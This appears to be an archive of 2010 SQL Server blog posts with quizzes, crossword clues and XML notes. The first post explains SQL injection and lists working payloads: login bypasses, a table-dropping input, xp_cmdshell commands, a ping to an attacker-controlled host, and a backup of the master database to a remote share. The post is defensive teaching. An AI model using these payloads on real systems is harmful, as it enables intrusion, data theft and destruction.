Sunday, November 14, 2010

Prevent SQL injection attacks and Data breach

A SQL injection attack is insertion of a SQL query through the input data to the application. It represents a serious threat to any database-driven site. SQL injection attacks are also known as SQL insertion attacks.

A SQL injection occurs when the application fails to properly validate user-supplied input used in SQL queries. In this way a hacker can manipulate the SQL statement that is passed to the database. This statement will run with the same permissions as the application that executed the query.

It is an instance of vulnerabilities that can occur whenever we use dynamic SQL.
Websites of many banks, credit unions, smaller online retailers, and many government agencies remain highly vulnerable to SQL injection attacks.

Some of the real world examples:
8th November 2010: (BBC News)
December 2009: (The New York Times)

Most of the application will have a login screen and we construct dynamic SQL statement with the screen input as follows:
SELECT *
FROM Users
WHERE login = 'bala' and password = 'dBa#1';

If the attacker modifies the user name supplied as bala' or 1=1; -- then the code will be as follows:
SELECT *
FROM Users
WHERE login = 'bala' or 1=1;
--and password = 'dBa#1';

If the above statement executes, the attacker can gain access to the database as 1=1 is always true.
The attacker could log on as any user, given that they know the users name, using the following input:

Username: admin'--

If the user specifies the following:

Username: '; drop table users--
Password:

the 'users' table will be deleted, denying access to the application for all users.

Not only this, a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), and execute administration operations on the database (such as shutdown the service). Some of them are listed as follows:
select @@version
View database version.
select @@servername
Misc. information disclosure
select @@microsoftversion
Misc. information disclosure
select * from master..sysservers
Misc. information disclosure
select * from sysusers
View database usernames and passwords.
exec master..xp_cmdshell 'ipconfig+/all'
Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+view'
Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+users'
Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'ping+system-controlled-by-attacker'
Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
BACKUP database master to disks='\\{IP}\{sharename}\backupdb.dat'
Backup entire database to a file. This attack can be used to steal a database.
create table myfile (line varchar(8000))" bulk insert foo from ‘c:\inetpub\wwwroot\auth.asp’" select * from myfile"–
Reading files on the filesystem.
xp_servicecontrol (START or STOP) <service>
Start and stop Windows Services.
str1 + str2 OR n+n
Concat strings for blind SQL Injection tests.


xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'


SQL attacks were done manually. The hacker would try different database queries from the browser or from pages displaying web forms, until he successfully injected code into the underlying database. These types of attacks are still done, but on a smaller scale compared to the automated SQL infection/attacks that have come on strong.

To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, parameterized statements must be used (preferred), or user input must be carefully escaped or filtered.


Question:
1.       Which of the following will protect your database against SQL injection attacks?
a)      Triggers.
b)      Views.
c)       Stored Procedures using parameters.
d)      Stored procedures not using parameters.



Show Answers:

Wednesday, October 6, 2010

Assorted Questions from SQL Server Forums

1. Writing query without using DISTINCT keyword:

Below is my table data.I want the result as 3.

col1
------
4
4
66
66
88

Result as
count
----
3

How to write a Query without using Distinct. Because I am running this query in SQL Mobile. In Sql Mobile edition there is no "distinct" keyword support.

The solution is as follows:

CREATE TABLE Table1(Col1 int);

INSERT INTO Table1
SELECT (4)
  UNION ALL SELECT (4)
  UNION ALL SELECT (66)
  UNION ALL SELECT (66)
  UNION ALL SELECT (88);

SELECT COUNT(*) FROM 
              (SELECT 0 AS c1
               FROM Table1 GROUP BY Col1) AS t1;
2. Which is better SP or Views?


Asking which is faster or better is like comparing the speed of a car with that of a boat - the speed difference is irrelevant, since you'll always prefer the boat if you travel over water, and always the car for travels over land.


VIEW: A view is a "virtual" table consisting of a SELECT statement, by means of "virtual"
I mean no physical data has been stored by the view -- only the definition of the view is stored inside the database; unless you materialize the view by putting an index on it.
  1. By definition you can not pass parameters to the view.
  2. NO DML operations (e.g. INSERT, UPDATE, and DELETE) are allowed inside the view; ONLY SELECT statements.
Most of the time, view encapsulates complex joins so it can be reusable in the queries or stored procedures. It can also provide level of isolation and security by hiding sensitive columns from the underlying tables.

Stored Procedure: A stored procedure is a group of Transact-SQL statements compiled into a single execution plan or in other words saved collection of Transact-SQL statements.

Here is a good summary from SQL MVP Hugo Kornelis (was posted in a newsgroup few years ago)
 
A stored procedure:
  • accepts parameters
  • can NOT be used as building block in a larger query
  • can contain several statements, loops, IF ELSE, etc.
  • can perform modifications to one or several tables
  • can NOT be used as the target of an INSERT, UPDATE or DELETE statement.
 
A view:
  • does NOT accept parameters
  • can be used as building block in a larger query
  • can contain only one single SELECT query
  • can NOT perform modifications to any table
  • but can (sometimes) be used as the target of an INSERT, UPDATE or DELETE statement.
 
>>Also is view plans are in plan cache or not? where are SPs plans are stored in cache and are always >>best for performance boost?
>>where are SPs plans are stored in cache and are always best for performance boost?
Yes execution plan for sps are stored in "plan cache" and in general it can boosts performance..


3. Stored Procedure - Standards and Best practices checking

Looking for an utility which can review stored .procedures for Standards, best practices etc. Env is SQL Server 2005 I can offer some manual hints:

4. Return only a single result set - unlike sp_monitor
http://www.sqlusa.com/sqlformat/http://www.sqlusa.com/bestpractices/training/scripts/parametersniffing/
1. Naming: prefix with "usp" or "sproc" - for example, uspInventoryUpdate
2. Add sproc comment block after "AS"
3. Make it safe from parameter sniffing:

5. Avoid nesting stored procedures because error control is difficult
6. Comment where needed
7. Format code for readability - auto formatter:

Simple Questions on Stored Procedures

The following mind map diagrammatically briefs about stored procedures. For an in-depth learning about the concepts, do search books on-line topics for stored procedures.




Questions:

1. Which of the following commands, a stored procedure can execute?

(a) USE
(b) Set Showplan_Text on
(c) Set Showplan_All on
(d) Both (b) and (C)
(e) None of the above.


2. You have noticed that a stored procedure is recompiled on each execution. The cause of recompilation is a simple query statement. How will you optimize the performance of your stored procedure with minimum effort?

(a) Create an additional stored procedure, and include the query that causes the recompilation. Call the new stored procedure from the new one.
(b) Add the RECOMPILE query hint to the query statement that causes the recompilation.
(c) Modify your stored procedure, and include the WITH RECOMPILE option in its definition.
(d) Use the sp_recompile system stored procedure to force the recompilation of your stored procedure the next time it runs.


3. Which one of the following option regenerates the query plan each time a stored procedure is executed?

(a) Recompile
(b) Encryption
(c) Execute As
(d) Varying


4. Which of the following can be used to recompile a stored procedure everytime it is running? (Choose all that apply.)

(a) Modify your stored procedure, and include the WITH RECOMPILE option in its definition.
(b) Add the RECOMPILE query hint to one of the stored procedure statements.
(c) Use the sp_recompile system stored procedure.
(d) Specify the WITH RECOMPILE option when you execute the stored procedure.


5. Your RTSdev database alerts you that the transaction log file is almost full. You suspect that one of the stored procedures has left a transaction open. Which one of the following can be used to ensure it?

(a) Execute DBCC TLOGFULL against the RTSdev database.
(b) Execute DBCC OPENTRAN against the temp database.
(c) Execute DBCC TLOGFULL against the temp database.
(d) Execute DBCC OPENTRAN against the RTSdev database.


6. The following script is used to create a stored procedure:

DECLARE @UserID int
BEGIN TRY
 BEGIN TRANSACTION
  DELETE From dbo.Users
  WHERE UserID = @UserID
 COMMIT TRANSACTION
END TRY
BEGIN CATCH
 DECLARE @errMsg nvarchar(300)
 SELECT @errMsg = ERROR_MESSAGE()
END CATCH

When execute the SP, you observe that it leaves open transactions. How will you modify the stored procedure?

(a) Add a ROLLBACK TRANSACTION to the CATCH block.
(b) Add a ROLLBACK TRANSACTION to the TRY block.
(c) Add a COMMIT TRANSACTION to the CATCH block.
(d) Add a COMMIT TRANSACTION to the TRY block.


7. If you need to create a stored procedure to perform some calculation-intensive operations and then return the results as quickly and efficiently as possible. How will you achieve that?

(a) Use parameters within the stored procedures.
(b) Use a TRY CATCH block within the stored procedure.
(c) Use a CLR-integrated stored procedure.
(d) Create the stored procedure so it recompiles each time it is run.


Show Answers:

Friday, August 27, 2010

Crossword Puzzle for Functions1

Try to solve this crossword puzzle. The key is answers are the function names.




Across:


1. Returns the starting position of the first occurrence of a pattern in a specified expression, or zeros if the pattern is not found, on all valid text and character data types.
5. Returns the count (signed integer) of the specified datepart boundaries crossed between the specified startdate and enddate.
8. Returns the smallest integer greater than, or equal to, the specified numeric expression.
9. This function inserts a string into another string. It deletes a specified length of characters in the first string at the start position and then inserts the second string into the first string at the start position.
10. Determines whether a datetime or smalldatetime input expression is a valid date or time value.


Down:
2. Returns a null value if the two specified expressions are equal.
3. Returns the first nonnull expression among its arguments.
4. Repeats a string value a specified number of times.
6. Determines whether an expression is a valid numeric type.
7. Returns the number of rows affected by the last statement.


Answer:

Thursday, August 26, 2010

Crossword puzzle for Functions


Try to solve this crossword puzzle for functions. The key is only names of the functions are the answers for this croosword puzzle.




















Across


1. Replaces NULL with the specified replacement value.
3. Returns a character expression after it removes leading blanks.
6. Returns a character expression with lowercase character data converted to uppercase.
7. Returns a numeric value, rounded to the specified length or precision.
8. Returns the average of the values in a group. Null values are ignored.
9. Returns the current system date and time.
10. provides a rowset view over an XML document.



Down
2. Returns part of a character, binary, text, or image expression.
4. Replaces all occurrences of a specified string value with another string value.
5. Stored procedures cannot be executed with in this object.



Answer:


Tuesday, August 10, 2010

Simple questions on XML

XQuery Examples:

If the following XML fragment is stored in a column with XML datatype,

<EMPLOYEE EMP_ID="AAA013" ADDRESS1="83 Railway Colony" ADDRESS2="Perambur" CITY="Chennai" STATE="TN" />

this select statement uses the value() method to retrive the attribute values.

SELECT 
txtxml.value('(//@EMP_ID)[1]','varchar(500)') EMP_ID,
txtxml.value('(//@ADDRESS1)[1]','varchar(500)') ADDRESS1,
txtxml.value('(//@ADDRESS2)[1]','varchar(500)') ADDRESS2,
txtxml.value('(//@CITY)[1]','varchar(500)') CITY,
txtxml.value('(//@STATE)[1]','varchar(500)') STATE
FROM Employee WHERE dept_code='AAA013'

The output of the above query will be as follows:

EMP_ID ADDRESS1ADDRESS2CITYSTATE
AAA013 83 Railway Colony Perambur Chennai TN


1. If you need to store XML document and manipulations are done only at client side, which one of the following datatype would you recommend?

(a) varbinary(max)
(b) xml
(c) Text
(d) char

2. The following query

SELECT EmpID, Emp_XML_Data.query('/Employee/Name') AS Name

will return the following output:
EmpID Name
1<Name> Sudhakar</Name>
2<Name> Vignesh</Name>
3<Name> Arivu</Name>

What modification to the SELECT will give the output without XML tags as follows?

EmpID Name
1Sudhakar
2Vignesh
3Arivu

(a) SELECT EmpID, Emp_XML_Data.Value('/Employee/Name') AS Name
(b) SELECT EmpID, Emp_XML_Data.Nodes('/Employee/Name') AS Name
(c) By using REPLACE function to remove the XML tags.
(d) We cannot remove the XML tags from the output.


Show Answers:

Monday, August 9, 2010

Basic questions on using XML in SQL Server 2005

The XML Basics:
  • XML stands for EXtensible Markup Language.
  • XML is a markup language similar to HTML.
  • XML was designed to store data and not for display the data.
  • An XML document contains XML Elements.
  • Anyone can define their own tags.
  • XML elements can have attributes, just like HTML.
  • XPath uses path expressions to navigate in XML documents.
  • XPath contains a library of standard functions.
  • XQuery was designed to query XML data.

The XML data type:
  • XML Data is one of the new data types introduced in SQL Server 2005.
  • You can create columns, variables with data type XML.
  • XML Data type allows you to store XML documents and fragments in SQL Server.
  • You can index the XML column.


XML schema collection:
  • Optionally XML schema collection can be associated with a column, or a variable which is of the xml data type.
  • The XML schema collections are used to validate XML and the XML is said to be typed.
  • If the XML is not associated with schema but well-formed then the XML is called untyped.
  • SELECT * FROM sys.XML_Schema_collections returns the information about the registered schemas.


Retrieve XML data:

  • In SQL Server 2005, you can store XML data in rowset or XML column.
  • You can execute SQL queries to return results as XML instead of standard rowsets.
  • The FOR XML clause converts the result sets from a query into an XML structure, and it provides different modes of formatting:
           *  FOR XML RAW
               Returns XML with each row representing an XML element.
               Each column value is mapped to an attribute with the same name as column name.

           *  FOR XML AUTO
               Returns Query results as nested XML elements.

           *  FOR XML PATH
               Returns specific values by indicating the column names for which you need to retrive the data.

           *  FOR XML EXPLICIT
               Returns XML that have format as given in the SELECT statement.

Methods:

The following are the available methods to query and manipulate XML data.

Method- Description
Value- Retrives a single value.
Nodes- Shreds an XMl column into relational data.
Query- Query an XML column.
Modify- Specifies XML data manipulation statements.
Exist- Checks if XML query returns data.


Questions:

1. Which of the following are well formed XML? Choose all that apply.
(a) <Question/>
(b) <Question>
(c) <Question>NULL</question>
(d) 'Question'


2. If an XML data is asociated with Schema collections then it is said to be typed.
(a) True
(b) False


3. If you execute the following query what will be your output. Choose any one answer.


USE AdventureWorks;
GO

SELECT ProductModelID, Name
FROM Production.ProductModel
WHERE ProductModelID=122 or ProductModelID=119
FOR XML AUTO, ELEMENTS;
GO

(a)
<row ProductModelID="122" Name="All-Purpose Bike Stand" />
<row ProductModelID="119" Name="Bike Wash" />

(b)
<row>
<ProductModelID>122</ProductModelID>
<Name>All-Purpose Bike Stand</Name>
</row>
<row>
<ProductModelID>119</ProductModelID>
<Name>Bike Wash</Name>
</row>

(c)
<ProductModel>
<ProductModelID>122</ProductModelID>
<Name>All-Purpose Bike Stand</Name>
</ProductModel>
<ProductModel>
<ProductModelID>119</ProductModelID>
<Name>Bike Wash</Name>
</ProductModel>

(d)
<ProductModel ProductModelID="122" Name="All-Purpose Bike Stand"/>
<ProductModel ProductModelID="119" Name="Bike Wash"/>


Show Answers: